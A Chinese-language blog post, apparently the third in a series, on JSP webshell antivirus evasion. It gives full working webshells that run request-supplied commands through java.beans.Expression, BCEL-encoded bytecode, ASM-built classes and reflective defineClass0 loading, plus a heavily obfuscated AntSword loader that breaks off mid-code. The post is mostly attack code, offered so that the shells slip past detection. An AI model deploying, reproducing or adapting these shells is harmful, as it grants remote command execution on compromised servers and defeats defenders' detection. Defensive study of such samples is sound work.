浅谈JSP Webshell进阶免杀(三)

简介: 浅谈JSP Webshell进阶免杀

Expression免杀

使用java.beans.Expression类进行免杀,原理较简单,已在工具中实现

处理前的原版Webshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%
   String cmd = request.getParameter("cmd");
// 这里的exec可以拆为四个字符的ASCII做进一步免杀
   java.beans.Expression shell = new java.beans.Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
   java.io.InputStream in = ((Process)shell.getValue()).getInputStream();
   // 普通回显
   StringBuilder outStr = new StringBuilder();
   response.getWriter().print("<pre>");
   java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
   java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
   String s = null;
   while ((s = stdInput.readLine()) != null) {
       outStr.append(s + "\n");
  }
   response.getWriter().print(outStr.toString());
   response.getWriter().print("</pre>");
%>

BCEL字节码免杀

来自Java安全界比较知名的BCELClassLoader,不过对于JDK的版本有一定的限制

在工具中实现了静态BCEL字节码和ASM动态构造的两种免杀Webshell


处理前的静态JSP如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%! String PASSWORD = "4ra1n"; %>
<%
   String cmd = request.getParameter("cmd");
   String pwd = request.getParameter("pwd");
   if (!pwd.equals(PASSWORD)) {
       return;
  }
   String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
   Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
   ClassLoader loader = (ClassLoader) c.newInstance();
   Class<?> clazz = loader.loadClass(bcelCode);
   java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
   Object obj = constructor.newInstance(cmd);
   response.getWriter().print("<pre>");
   response.getWriter().print(obj.toString());
   response.getWriter().print("</pre>");
%>


处理前的动态构造字节码JSP如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%! String PASSWORD = "4ra1n"; %>
<%
   jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
           jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
   jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
   jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
   classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
   fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
   fieldVisitor.visitEnd();
   methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
   methodVisitor.visitCode();
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
   methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
   methodVisitor.visitVarInsn(ASTORE, 2);
   methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
   methodVisitor.visitVarInsn(ALOAD, 1);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
   methodVisitor.visitVarInsn(ASTORE, 3);
   jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
   methodVisitor.visitLabel(label0);
   methodVisitor.visitVarInsn(ALOAD, 3);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitVarInsn(ASTORE, 4);
   jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
   methodVisitor.visitJumpInsn(IFNULL, label1);
   methodVisitor.visitVarInsn(ALOAD, 2);
   methodVisitor.visitVarInsn(ALOAD, 4);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
   methodVisitor.visitLdcInsn("\n");
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
   methodVisitor.visitInsn(POP);
   methodVisitor.visitJumpInsn(GOTO, label0);
   methodVisitor.visitLabel(label1);
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitVarInsn(ALOAD, 2);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
   methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
   methodVisitor.visitInsn(RETURN);
   methodVisitor.visitMaxs(6, 5);
   methodVisitor.visitEnd();
   methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
   methodVisitor.visitCode();
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
   methodVisitor.visitInsn(ARETURN);
   methodVisitor.visitMaxs(1, 1);
   methodVisitor.visitEnd();
   classWriter.visitEnd();
   byte[] code = classWriter.toByteArray();
   String cmd = request.getParameter("cmd");
   String pwd = request.getParameter("pwd");
   if (!pwd.equals(PASSWORD)) {
       return;
  }
   String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
   byteCode = "$$BCEL$$" + byteCode;
   Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
   ClassLoader loader = (ClassLoader) c.newInstance();
   Class<?> clazz = loader.loadClass(byteCode);
   java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
   Object obj = constructor.newInstance(cmd);
   response.getWriter().print("<pre>");
   response.getWriter().print(obj.toString());
   response.getWriter().print("</pre>");
%>

defineClass0免杀

思路来自su18师傅的代码,核心思想是加载字节码执行实现Webshell功能,在工具中实现

由于defineClass0是native方法,理论上可以绕过一些检测

由于JVM加载了字节码中的某个类,所以该Webshell只有一次执行命令的能力,第二次运行同样的JSP会导致类重复

想要第二次执行必须上传一个字节码的类名不同的Webshell

笔者使用ASM技术实现了随机类名的功能,可以做到每次生成的Webshell的字节码的类名不同

处理前的原版Webshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%!
   public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
       ClassLoader classLoader = ClassLoader.getSystemClassLoader();
       java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
               ClassLoader.class, String.class, byte[].class, int.class, int.class);
       method.setAccessible(true);
       return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
  }
%>
<%
   byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer("yv66vgAAADQAcQoAGwAvBwAwCgACAC8HADEHADIKADMANAoAMwA1CgA2ADcKAAUAOAoABAA5CgAEADoKAAIAOwgAPAoAAgA9CQAQAD4HAD8KAEAAQQgAQgoAQwBECgBFAEYKAEUARwcASAoAFgAvCgAWAEkJAEoASwoATABNBwBOAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAD8HAE8HADAHADEBAApFeGNlcHRpb25zBwBQAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAEUJ5dGVDb2RlRXZpbC5qYXZhDAAeAFEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBSDABTAFQMAFUAVgcAVwwAWABZDAAeAFoMAB4AWwwAXAAqDABdAF4BAAEKDAApACoMABwAHQEAGm9yZy9zZWMvc3RhcnQvQnl0ZUNvZGVFdmlsBwBfDABgAGEBABJCeXRlQ29kZUV2aWwuY2xhc3MHAGIMAGMAZAcAZQwAZgBnDABoAGkBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyDABqAGsHAGwMAG0AbgcAbwwAcAAfAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAE2dldFJlc291cmNlQXNTdHJlYW0BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAFKFtCKUkBAAxlbmNvZGVCdWZmZXIBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAEAAbAAAAAQAAABwAHQAAAAMAAQAeAB8AAgAgAAAAnAAGAAUAAABHKrcAAbsAAlm3AANNuwAEWbsABVm4AAYrtgAHtgAItwAJtwAKTi22AAtZOgTGABIsGQS2AAwSDbYADFen/+oqLLYADrUAD7EAAAACACEAAAAiAAgAAAAMAAQADQAMAA4AFAAPACUAEQAvABIAPgAUAEYAFQAiAAAAGwAC/wAlAAQHACMHACQHACUHACYAAPwAGAcAJAAnAAAABAABACgAAQApACoAAQAgAAAAHQABAAEAAAAFKrQAD7AAAAABACEAAAAGAAEAAAAYAAkAKwAsAAIAIAAAAGAAAgAFAAAAMBIQtgAREhK2ABNMK7YAFLwITSsstgAVV7sAFlm3ABdOLSy2ABg6BLIAGRkEtgAasQAAAAEAIQAAAB4ABwAAABwACwAdABIAHgAYAB8AIAAgACcAIQAvACIAJwAAAAQAAQAoAAEALQAAAAIALg==");
   Class<?> testClass = defineByProxy("org/sec/start/ByteCodeEvil", bytes);
   Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
   out.print("<pre>");
   out.println(result.toString());
   out.print("</pre>");
%>

其中的字节码是该类,一个普通类,在构造方法中实现简单的回显Webshell

如果该类被实例化就会执行命令,实现Webshell的功能

public class ByteCodeEvil {
   String res;
   public ByteCodeEvil(String cmd) throws IOException {
       StringBuilder stringBuilder = new StringBuilder();
       BufferedReader bufferedReader = new BufferedReader(
               new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
       String line;
       while ((line = bufferedReader.readLine()) != null) {
           stringBuilder.append(line).append("\n");
      }
       this.res = stringBuilder.toString();
  }
   public String toString() {
       return this.res;
  }
}

为何不直接构造字节码,然后加载执行实现Webshell呢


于是笔者用JDK自带的ASM实现了ByteCodeEvil类

(注意一定要用自带ASM,因为目标机器一定有JDK但不一定有第三方依赖库)

处理前的原版Webshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%!
   public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
       ClassLoader classLoader = ClassLoader.getSystemClassLoader();
       java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
               ClassLoader.class, String.class, byte[].class, int.class, int.class);
       method.setAccessible(true);
       return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
  }
%>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
   jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
           jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
   jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
   jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
   classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
   fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
   fieldVisitor.visitEnd();
   methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
   methodVisitor.visitCode();
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
   methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
   methodVisitor.visitVarInsn(ASTORE, 2);
   methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
   methodVisitor.visitVarInsn(ALOAD, 1);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
   methodVisitor.visitVarInsn(ASTORE, 3);
   jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
   methodVisitor.visitLabel(label0);
   methodVisitor.visitVarInsn(ALOAD, 3);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitVarInsn(ASTORE, 4);
   jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
   methodVisitor.visitJumpInsn(IFNULL, label1);
   methodVisitor.visitVarInsn(ALOAD, 2);
   methodVisitor.visitVarInsn(ALOAD, 4);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
   methodVisitor.visitLdcInsn("\n");
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
   methodVisitor.visitInsn(POP);
   methodVisitor.visitJumpInsn(GOTO, label0);
   methodVisitor.visitLabel(label1);
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitVarInsn(ALOAD, 2);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
   methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
   methodVisitor.visitInsn(RETURN);
   methodVisitor.visitMaxs(6, 5);
   methodVisitor.visitEnd();
   methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
   methodVisitor.visitCode();
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
   methodVisitor.visitInsn(ARETURN);
   methodVisitor.visitMaxs(1, 1);
   methodVisitor.visitEnd();
   classWriter.visitEnd();
   byte[] code = classWriter.toByteArray();
   Class<?> testClass = defineByProxy("sample/ByteCodeEvil", code);
   Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
   out.print("<pre>");
   out.println(result.toString());
   out.print("</pre>");
%>


注意该Webshell和上文一样,只能执行一次

如果想多次执行,需要类名不同,而这里实现类名不同非常简单,修改sample/ByteCodeEvil即可


蚁剑免杀处理

笔者尝试用了以上的方法(0x02-0x05)和花指令等其他小手段,最后实现了蚁剑Webshell的处理,不知道免杀效果如何

处理前的原版Webshell如下:

<%!
   class U extends ClassLoader {
       U(ClassLoader c) {
           super(c);
      }
       public Class g(byte[] b) {
           return super.defineClass(b, 0, b.length);
      }
  }
   public byte[] base64Decode(String str) throws Exception {
       try {
           Class clazz = Class.forName("sun.misc.BASE64Decoder");
           return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
      } catch (Exception e) {
           Class clazz = Class.forName("java.util.Base64");
           Object decoder = clazz.getMethod("getDecoder").invoke(null);
           return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
      }
  }
%>
<%
   String cls = request.getParameter("passwd");
   if (cls != null) {
       new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
  }
%>


处理后

<%!
   class VGakJDyicU extends ClassLoader {
       VGakJDyicU(ClassLoader sjqhdnqocals) {
           super(sjqhdnqocals);
           for (int ZCzmllUXtVEeZskSMJEz = (1263180 ^ 1263180); ZCzmllUXtVEeZskSMJEz < (1863338 ^ 1863328); ZCzmllUXtVEeZskSMJEz++) {
               if (ZCzmllUXtVEeZskSMJEz == (1988769 ^ 1988776)) {
                   break;
              }
          }
      }
       private int dsaENLANCL() {
           for (int yoMmmGPWAtcOBiAgCUWX = ((259959 ^ 1197627) ^ (206306 ^ 1217710)); yoMmmGPWAtcOBiAgCUWX < ((343431 ^ 1794195) ^ (966919 ^ 1088537)); yoMmmGPWAtcOBiAgCUWX++) {
               if (yoMmmGPWAtcOBiAgCUWX == ((134011 ^ 1675804) ^ (770157 ^ 1071363))) {
                   break;
              }
          }
           return ((485255 ^ 1246863) ^ (156062 ^ 1441942));
      }
       public Class qwer(byte[] dqwbdjk) {
           if (dqwbdjk.length == ((2069908 ^ 1078641) ^ (1784881 ^ 1367216))) {
               for (int GsuWImCilISonbpTyZui = ((636131 ^ 1142979) ^ (124627 ^ 1647347)); GsuWImCilISonbpTyZui < ((579438 ^ 1670906) ^ (348300 ^ 1374482)); GsuWImCilISonbpTyZui++) {
                   if (GsuWImCilISonbpTyZui == ((13479 ^ 1889100) ^ (611430 ^ 1422212))) {
                       break;
                  }
              }
          }
           int ercCqJlVzFqfCyrEabcm = dqwbdjk.length;
           if (ercCqJlVzFqfCyrEabcm > ((330429 ^ 1925916) ^ (741991 ^ 1260492))) {
               for (int llcdjrZGNEWQaALQAsUR = ((207275 ^ 1682785) ^ (184435 ^ 1594553)); llcdjrZGNEWQaALQAsUR < ((206607 ^ 1213855) ^ (1981517 ^ 1023703)); llcdjrZGNEWQaALQAsUR++) {
                   if (llcdjrZGNEWQaALQAsUR == ((328245 ^ 1533470) ^ (510359 ^ 1420725))) {
                       break;
                  }
              }
          }
           byte[] YwAvyJBZdbTBZbQhcBwH = dqwbdjk;
           Class TaoMNcEEzcdFDzvxRtCB = super.defineClass(YwAvyJBZdbTBZbQhcBwH, ((396500 ^ 1437237) ^ (289123 ^ 1543042)), YwAvyJBZdbTBZbQhcBwH.length);
           if (TaoMNcEEzcdFDzvxRtCB.isInterface()) {
               TaoMNcEEzcdFDzvxRtCB.getName();
          }
           return TaoMNcEEzcdFDzvxRtCB;
      }
  }
%><%!
   public static byte[] base64Decode(String str) throws Exception {
       String[] globalArr = new String[]{"c3VuLm1pc2MuQkFTRTY0RGVjb2Rlcg==", "aGlnc2hpRnlqaml2", "amF2YS51dGlsLkJhc2U2NA==", "a2l4SGlnc2hpdg==", "aGlnc2hp"};
       try {
           Class clazz = Class.forName(dec(globalArr[((0 ^ 1345535) ^ (715040 ^ 1994463))], ((600797 ^ 1524742) ^ (207413 ^ 1918186))));
           return (byte[]) clazz.getMethod(dec(globalArr[((948015 ^ 1651496) ^ (182287 ^ 1412105))], ((769795 ^ 1506285) ^ (688088 ^ 1522482))), String.class).invoke(clazz.newInstance(), str);
      } catch (Exception e) {
           Class clazz = Class.forName(dec(globalArr[((797587 ^ 1382585) ^ (127362 ^ 1622698))], ((582194 ^ 1928767) ^ (636958 ^ 1848343))));
           Object decoder = clazz.getMethod(dec(globalArr[((664470 ^ 1890424) ^ (1680902 ^ 1007083))], ((1485 ^ 1523451) ^ (346165 ^ 1209095)))).invoke(null);
           return (byte[]) decoder.getClass().getMethod(dec(globalArr[((554945 ^ 1929084) ^ (225411 ^ 1468474))], ((682491 ^ 1223509) ^ (148392 ^ 1736962))), String.class).invoke(decoder, str);
      }
  }
%><%!
   public static String dec(String str, int offset) {
       try {
           byte[] MQgbKJrvmvUNiACWzYhP = new sun.misc.BASE64Decoder().decodeBuffer(str);
           str = new String(MQgbKJrvmvUNiACWzYhP);
           char rKfCgregXvByjCvhxRxW;
           StringBuilder UJmcHvuZzxZueglvhEXj = new StringBuilder();
           for (int IEQwwpVvaGzMUAxhssQF = (1825797 ^ 1825797); IEQwwpVvaGzMUAxhssQF < str.length(); IEQwwpVvaGzMUAxhssQF++) {
               rKfCgregXvByjCvhxRxW = str.charAt(IEQwwpVvaGzMUAxhssQF);
               if (rKfCgregXvByjCvhxRxW >= 'a' && rKfCgregXvByjCvhxRxW <= 'z') {
                   rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'a') - offset + (1474946 ^ 1474968)) % (1398627 ^ 1398649) + 'a');
              } else if (rKfCgregXvByjCvhxRxW >= 'A' && rKfCgregXvByjCvhxRxW <= 'Z') {
                   rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'A') - offset + (1850740 ^ 1850734)) % (1084508 ^ 1084486) + 'A');
              } else if (rKfCgregXvByjCvhxRxW >= '0' && rKfCgregXvByjCvhxRxW <= '9') {
                   rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - '0') - offset + (1210262 ^ 1210268)) % (1307501 ^ 1307495) + '0');
              } else {
                   UJmcHvuZzxZueglvhEXj = new StringBuilder(str);
                   break;
              }
               UJmcHvuZzxZueglvhEXj.append(rKfCgregXvByjCvhxRxW);
          }
           String DqvcAOdAcpWauApzwTRq = UJmcHvuZzxZueglvhEXj.toString();
           DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\\"", "\"");
           DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\n", "\n");
           return DqvcAOdAcpWauApzwTRq;
      } catch (Exception ignored) {
           return "";
      }
  }
%><%
   String[] oNJuJikOgjxSAgpuapoa = new String[]{"MXw2fDExfDB8MTJ8N3w1fDl8MTN8NHwzfDJ8OHwxMA==", "eWpiYmZtbQ=="};
   String ckphsywtqiXvMyIouIdk = dec(oNJuJikOgjxSAgpuapoa[((0 ^ 1454308) ^ (144559 ^ 1311819))], ((842141 ^ 1629663) ^ (862872 ^ 1650387)));
   String[] FcuXNygiqPJbDZwvnlSg = ckphsywtqiXvMyIouIdk.split("\\|");
   String dmjXOSyFxLGKfPNJeVkE = null;
   ClassLoader jKpxyUZqKneUsfmnxTlC = null;
   VGakJDyicU QTZxUuEMsBJWRNcudHyD = null;
   byte[] fOusiCauDCKbMzDlKvqw = null;
